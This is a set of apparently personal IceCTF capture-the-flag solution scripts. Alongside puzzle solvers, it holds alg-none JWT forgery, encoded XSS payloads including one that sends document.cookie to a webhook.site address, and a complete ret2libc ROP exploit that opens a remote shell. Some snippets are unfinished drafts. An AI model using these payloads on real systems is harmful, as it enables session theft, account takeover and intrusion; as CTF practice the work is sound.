from PIL import Image, ImageFont, ImageDraw

flagImage = Image.new('RGB', (1000,1000), "white")
im = Image.open('solved.bmp')
im = im.convert('RGB')

for x in range(350):
	for y in range(229):
		if im.getpixel((x,y)) == (0,0,0):
			dr = ImageDraw.Draw(flagImage)
			dr.rectangle(((x,y),(x+5,y+5)), fill="black", outline = "black")
flagImage.save("flag2.png")

#!/usr/bin/python3
import sys
import base64

def encode(filename):
    with open(filename, "r") as f:
        s = f.readline().strip()
        return base64.b64encode((''.join([chr(ord(s[x])+([5,-1,3,-3,2,15,-6,3,9,1,-3,-5,3,-15] * 3)[x]) for x in range(len(s))])).encode('utf-8')).decode('utf-8')[::-1]*5

if __name__ == "__main__":
    print(encode(sys.argv[1]))

def decode():
	enc = base64.b64decode("8NHY25mYthGfs5ndwx2Zk1lcaFGc4pWdVZFQoJmT"[::-1])
	mDict = ([5,-1,3,-3,2,15,-6,3,9,1,-3,-5,3,-15] * 3)
	plain = ""
	for x in range(len(enc)):
		plain += chr(ord(enc[x]) - mDict[x])
	print plain
decode()

import requests
from bs4 import BeautifulSoup
from math import sqrt; from itertools import count, islice
import gmpy2

def solveQuestion(s):
	if "word in the following line" in s:
		s = s.replace("\n"," ").replace("."," ").replace("  "," ")
		num = int(s.split(" ")[3].replace("th","").replace("st","").replace("nd","").replace("rd",""))
		return s.split(": ")[1].split(" ")[num-1]
	elif "a prime number" in s:
		num = int(s.split(" ")[1])
		return str(gmpy2.is_prime(num)).lower()
	elif "What is the greatest common divisor" in s:
		num1 = int(s.split(" ")[7])
		num2 = int(s.split(" ")[9].replace("?", ""))
		return gmpy2.gcd(num1, num2)
	elif "Which planet is closest to the sun" in s:
		return "Mercury"
	elif "What is the capital of Germany" in s:
		return "Berlin"
	elif "How many planets are between Earth and the Sun?" in s:
		return "2"
	elif "How many strings does a violin have?" in s:
		return "4"
	elif "What is the tallest mountain on Earth?" in s:
		return "Mount Everest"
	elif "What year is it?" in s:
		return "2018"
	elif "What color is the sky?" in s:
		return "Blue"
	elif "Who directed the movie Jaws?" in s:
		return "Steven Spielberg"
	elif "What is the capital of Hawaii?" in s:
		return "Honolulu"
	else:
		print s

s = requests.Session()
content = s.get("https://43xa7xhkaj0cd8c-anticaptcha.labs.icec.tf/").text
soup = BeautifulSoup(content, 'html.parser')

td_tags = soup.find_all("td")
answer = []

for i in range(0, len(td_tags), 2):
	answer.append(str(solveQuestion(td_tags[i].string)))

print s.post("https://43xa7xhkaj0cd8c-anticaptcha.labs.icec.tf/", data={'answer':answer}).text[:2000]

import requests
import json

uuid = "46fc1c22626b960c"
currentLat = "22.3208988"
currentLng = "114.1891175"
while True:
	c = requests.post("http://pokeamango.vuln.icec.tf/mango/list", data={'lat':currentLat, 'long':currentLng, 'uuid':uuid}).text
	print c
	j = json.loads(c)
	if j['mangos'] != []:
		for m in j['mangos']:
			lat = m['lat']
			lng = m['lng']
			print requests.post("http://pokeamango.vuln.icec.tf/mango/catch", data={'uuid':uuid, 'curLat':currentLat, 'curLong':currentLng, 'mangoLat':lat, 'mangoLong':lng}).text
			print "Count: " + requests.post("http://pokeamango.vuln.icec.tf/mango/count", data={'uuid':uuid}).text
"""
{
	"mangos": [{
		"lat": 22.319894,
		"lng": 114.232087
	}],
	"token": "eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1dWlkIjoiNDZmYzFjMjI2MjZiOTYwYyJ9._qZPGKdWiHoRa5Jq0OgLwZC-9-nwZD8VYONsCtuM_b8"
}
"""

from PIL import Image, ImageFont, ImageDraw

c = ""
for i in range(110):
	im = Image.open('frame_' + str(i).zfill(3) + '_delay-0.1s.gif')
	im = im.convert('RGB')
	for x in range(16):
		for y in range(16):
			r,g,b = im.getpixel((y,x))
			c += '{:02x}{:02x}{:02x}'.format(r, g, b)
with open("ilovebees", "wb") as f:
	f.write(c.decode('hex'))
	f.close()

from PIL import Image, ImageFont, ImageDraw

Image.MAX_IMAGE_PIXELS = 379782144

im = Image.open('hotornot.jpg')

index = 1
for i in range(0,87):
	for j in range(0,87):
		chim = im.crop((224*i, 224*j, 224*i+224, 224*j+224))
		chim.save(str(index) + ".jpg")
		index += 1

import os, sys

import tensorflow as tf

os.environ['TF_CPP_MIN_LOG_LEVEL'] = '2'
files = os.listdir("./hotornot")
files = [file for file in os.listdir('./hotornot') if file.endswith('.jpg')]
files.sort(key= lambda x:int(x[:-4]))

index = 1
# change this as you see fit
image_path = sys.argv[1]

# Read in the image_data
image_data = tf.gfile.FastGFile(image_path, 'rb').read()

# Loads label file, strips off carriage return
label_lines = [line.rstrip() for line
                   in tf.gfile.GFile("/tf_files/retrained_labels.txt")]

# Unpersists graph from file
with tf.gfile.FastGFile("/tf_files/retrained_graph.pb", 'rb') as f:
    graph_def = tf.GraphDef()
    graph_def.ParseFromString(f.read())
    tf.import_graph_def(graph_def, name='')

with tf.Session() as sess:
    # Feed the image_data as input to the graph and get first prediction
    softmax_tensor = sess.graph.get_tensor_by_name('final_result:0')

    predictions = sess.run(softmax_tensor, \
             {'DecodeJpeg/contents:0': image_data})

    # Sort to show labels of first prediction in order of confidence
    top_k = predictions[0].argsort()[-len(predictions[0]):][::-1]

    hotScore = 0
    notHotScore = 0
    for node_id in top_k:
        human_string = label_lines[node_id]
        score = predictions[0][node_id]
        #print('%s (score = %.5f)' % (human_string, score))
        if human_string == "hotdog":
            hotScore = score
        else:
            notHotScore = score
    if hotScore > notHotScore:
        print "1"
    else:
        print "0"

import os
from subprocess import call

files = os.listdir("./hotornot")
files = [file for file in os.listdir('./hotornot') if file.endswith('.jpg')]
files.sort(key= lambda x:int(x[:-4]))
print files
result = ""
index = 1
for f in files:
	result += os.popen("python label_hotnot.py ./hotornot/" + f).read().replace("\n","")
	print "Status: " + str(index) + " / " + str(len(files))
	index += 1
with open("result.txt", "wb") as f:
	f.write(result)
	f.close()

import base64
#session
base64.b64decode('eyJ1c2VyIjoyfQ.Dno_HQ.0n1XWQBTVFhQ9NxFkuqWKik5uJU==')
#{"user":2}\x00\xe7\xa0t4\x9fU\xd6@\x14\xd5\x16\x14=7\x11d\xba\xa5\x8a\x8aNn%

#token
base64.b64decode('eyJ0eXAiOiJKV1QiLCJhbGciOiJub25lIn0=')
#{"typ":"JWT","alg":"none"}
base64.b64decode('eyJ1c2VybmFtZSI6ImNhdHBhd24iLCJmbGFnIjoiSWNlQ1RGe2hvcGUgeW91IGRvbid0IHRoaW5rIHRoaXMgaXMgYSByZWFsIGZsYWd9In0==')
#{"username":"catpawn","flag":"IceCTF{hope you don\'t think this is a real flag}"}

import base64
base64.b64encode('{"username":"admin","flag":"IceCTF{hope you don\'t think this is a real flag}"}')
#eyJ1c2VybmFtZSI6ImFkbWluIiwiZmxhZyI6IkljZUNURntob3BlIHlvdSBkb24ndCB0aGluayB0aGlzIGlzIGEgcmVhbCBmbGFnfSJ9

improt base64
base64.b64encode('{"username":"<script>alert(1)</script>","flag":"IceCTF{hope you don\'t think this is a real flag}"}')
#eyJ1c2VybmFtZSI6IjxzY3JpcHQ+YWxlcnQoMSk8L3NjcmlwdD4iLCJmbGFnIjoiSWNlQ1RGe2hvcGUgeW91IGRvbid0IHRoaW5rIHRoaXMgaXMgYSByZWFsIGZsYWd9In0=

import base64
base64.b64encode('{"username":"<img src=x onerror=\'&#106&#97&#118&#97&#115&#99&#114&#105&#112&#116&#58&#97&#108&#101&#114&#116&#40&#39&#88&#83&#83&#39&#41\'>","flag":"IceCTF{hope you don\'t think this is a real flag}"}')
#eyJ1c2VybmFtZSI6IjxpbWcgc3JjPXggb25lcnJvcj0nJiMxMDYmIzk3JiMxMTgmIzk3JiMxMTUmIzk5JiMxMTQmIzEwNSYjMTEyJiMxMTYmIzU4JiM5NyYjMTA4JiMxMDEmIzExNCYjMTE2JiM0MCYjMzkmIzg4JiM4MyYjODMmIzM5JiM0MSc+IiwiZmxhZyI6IkljZUNURntob3BlIHlvdSBkb24ndCB0aGluayB0aGlzIGlzIGEgcmVhbCBmbGFnfSJ9

import base64
base64.b64encode('{"username":"<img src=x onerror=\'&#102&#117&#110&#99&#116&#105&#111&#110&#32&#104&#116&#116&#112&#71&#101&#116&#40&#41&#123&#118&#97&#114&#32&#120&#109&#108&#72&#116&#116&#112&#32&#61&#32&#110&#101&#119&#32&#88&#77&#76&#72&#116&#116&#112&#82&#101&#113&#117&#101&#115&#116&#40&#41&#59&#120&#109&#108&#72&#116&#116&#112&#46&#111&#112&#101&#110&#40&#34&#71&#69&#84&#34&#44&#32&#34&#104&#116&#116&#112&#115&#58&#47&#47&#119&#101&#98&#104&#111&#111&#107&#46&#115&#105&#116&#101&#47&#57&#50&#56&#101&#52&#53&#48&#49&#45&#52&#98&#55&#51&#45&#52&#52&#57&#49&#45&#97&#51&#100&#101&#45&#49&#48&#101&#48&#99&#97&#100&#55&#56&#57&#99&#98&#63&#97&#61&#34&#32&#43&#32&#100&#111&#99&#117&#109&#101&#110&#116&#46&#99&#111&#111&#107&#105&#101&#44&#32&#102&#97&#108&#115&#101&#32&#41&#59&#120&#109&#108&#72&#116&#116&#112&#46&#115&#101&#110&#100&#40&#32&#110&#117&#108&#108&#32&#41&#59&#125&#104&#116&#116&#112&#71&#101&#116&#40&#41&#59\'>","flag":"IceCTF{hope you don\'t think this is a real flag}"}')
#eyJ1c2VybmFtZSI6IjxpbWcgc3JjPXggb25lcnJvcj0nJiMxMDImIzExNyYjMTEwJiM5OSYjMTE2JiMxMDUmIzExMSYjMTEwJiMzMiYjMTA0JiMxMTYmIzExNiYjMTEyJiM3MSYjMTAxJiMxMTYmIzQwJiM0MSYjMTIzJiMxMTgmIzk3JiMxMTQmIzMyJiMxMjAmIzEwOSYjMTA4JiM3MiYjMTE2JiMxMTYmIzExMiYjMzImIzYxJiMzMiYjMTEwJiMxMDEmIzExOSYjMzImIzg4JiM3NyYjNzYmIzcyJiMxMTYmIzExNiYjMTEyJiM4MiYjMTAxJiMxMTMmIzExNyYjMTAxJiMxMTUmIzExNiYjNDAmIzQxJiM1OSYjMTIwJiMxMDkmIzEwOCYjNzImIzExNiYjMTE2JiMxMTImIzQ2JiMxMTEmIzExMiYjMTAxJiMxMTAmIzQwJiMzNCYjNzEmIzY5JiM4NCYjMzQmIzQ0JiMzMiYjMzQmIzEwNCYjMTE2JiMxMTYmIzExMiYjMTE1JiM1OCYjNDcmIzQ3JiMxMTkmIzEwMSYjOTgmIzEwNCYjMTExJiMxMTEmIzEwNyYjNDYmIzExNSYjMTA1JiMxMTYmIzEwMSYjNDcmIzU3JiM1MCYjNTYmIzEwMSYjNTImIzUzJiM0OCYjNDkmIzQ1JiM1MiYjOTgmIzU1JiM1MSYjNDUmIzUyJiM1MiYjNTcmIzQ5JiM0NSYjOTcmIzUxJiMxMDAmIzEwMSYjNDUmIzQ5JiM0OCYjMTAxJiM0OCYjOTkmIzk3JiMxMDAmIzU1JiM1NiYjNTcmIzk5JiM5OCYjNjMmIzk3JiM2MSYjMzQmIzMyJiM0MyYjMzImIzEwMCYjMTExJiM5OSYjMTE3JiMxMDkmIzEwMSYjMTEwJiMxMTYmIzQ2JiM5OSYjMTExJiMxMTEmIzEwNyYjMTA1JiMxMDEmIzQ0JiMzMiYjMTAyJiM5NyYjMTA4JiMxMTUmIzEwMSYjMzImIzQxJiM1OSYjMTIwJiMxMDkmIzEwOCYjNzImIzExNiYjMTE2JiMxMTImIzQ2JiMxMTUmIzEwMSYjMTEwJiMxMDAmIzQwJiMzMiYjMTEwJiMxMTcmIzEwOCYjMTA4JiMzMiYjNDEmIzU5JiMxMjUmIzEwNCYjMTE2JiMxMTYmIzExMiYjNzEmIzEwMSYjMTE2JiM0MCYjNDEmIzU5Jz4iLCJmbGFnIjoiSWNlQ1RGe2hvcGUgeW91IGRvbid0IHRoaW5rIHRoaXMgaXMgYSByZWFsIGZsYWd9In0=

import requests
cookie = {'token':'eyJ0eXAiOiJKV1QiLCJhbGciOiJub25lIn0.eyJ1c2VybmFtZSI6ImFkbWluIiwiZmxhZyI6IkljZUNURntob3BlIHlvdSBkb24ndCB0aGluayB0aGlzIGlzIGEgcmVhbCBmbGFnfSJ9.', 'session':'eyJ1c2VyIjoxfQ.Dnm2FA.P93MJ-Nl9MSAc0DO0eRqNcUQGrU'}
requests.get("https://43xa7xhkaj0cd8c-history.labs.icec.tf/", cookies=cookie).text

from pwn import *

p = process('sanity')
e = ELF('./sanity')

payload = "a"*(0x70+8)
payload += p64(gadget)
payload += p64(0x401000) #just for fill rdi
payload += p64(e.symbols['main'])
"""
Output:
Sanity Check should be easy
Sanity Check should be easy
"""

from pwn import *

p = process('sanity')
e = ELF('./sanity')

gadget = 0x4006a3 #pop rdi;ret;

payload = "a"*(0x70+8)
payload += p64(gadget)
payload += p64(e.got['__libc_start_main'])
payload += p64(e.plt['puts']) #puts(__libc_start_main_got)
payload += p64(e.symbols['main'])
"""
Output:
有堆亂碼 , 應該係address既hex string黎
Sanity Check should be easy
"""

from pwn import *

p = process('sanity')
e = ELF('./sanity')

gadget = 0x4006a3 #pop rdi;ret;
libc_puts_off = libc.symbols['puts']

payload = "a"*(0x70+8)
payload += p64(gadget)
payload += p64(e.got['puts'])
payload += p64(e.plt['puts']) #puts(puts_addr_got)
payload += p64(e.symbols['main'])

p.recvuntil("easy\n")
p.sendline(payload)

leaked = p.recvuntil("\n")
print leaked.encode('hex')
"""
Output:
90afab45ad7f0a
Sanity Check should be easy
"""

from pwn import *

p = process('sanity')
e = ELF('./sanity')

gadget = 0x4006a3 #pop rdi;ret;
libc_puts_off = libc.symbols['puts']

payload = "a"*(0x70+8)
payload += p64(gadget)
payload += p64(e.got['puts'])
payload += p64(e.plt['puts']) #puts(puts_addr_got)
payload += p64(e.symbols['main'])

p.recvuntil("easy\n")
p.sendline(payload)

leaked = p.recvuntil("\n")
leaked = u64(leaked[:-1].ljust(8,'\x00'))

libc_base = leaked - libc_puts_off
info("Libc base:" + hex(libc_base))
"""
Output:
[*] Libc base: 0x7f28573b5900
"""

libc_system_off = libc_base + libc.symbols['system']
libc_binsh_offset = libc_base + next(libc.search('/bin/sh'))

from pwn import *

#p = process("./sanity")
p = remote("35.185.151.73",8044)

libc = ELF("./libc-2.23.so") 
e = ELF('./sanity')

libc_system_off = libc.symbols['system']
libc_puts_off = libc.symbols['puts']
libc_binsh_offset = next(libc.search('/bin/sh'))
gadget = 0x4006a3

info("libc system offset: " + hex(libc_system_off))
info("libc /bin/sh offset: " + hex(libc_binsh_offset))
info("libc puts offset: " + hex(libc_puts_off))

payload = "a"*(0x70+8)
payload += p64(gadget)
payload += p64(e.got['puts'])
payload += p64(e.plt['puts'])
payload += p64(e.symbols['main'])

p.recvuntil("Sanity Check should be easy\n")
p.sendline(payload)

leaked = p.recvuntil("\n")
leaked = u64(leaked[:-1].ljust(8,'\x00'))
libc_base_addr = leaked - libc_puts_off

info("leaked puts: " + hex(leaked))
info("libc base: " + hex(libc_base_addr))

p.recvuntil("\n")
payload = "a"*(0x70+8)
payload += p64(gadget)
payload += p64(libc_base_addr + libc_binsh_offset)
payload += p64(libc_base_addr + libc_system_off)

p.sendline(payload)
p.interactive()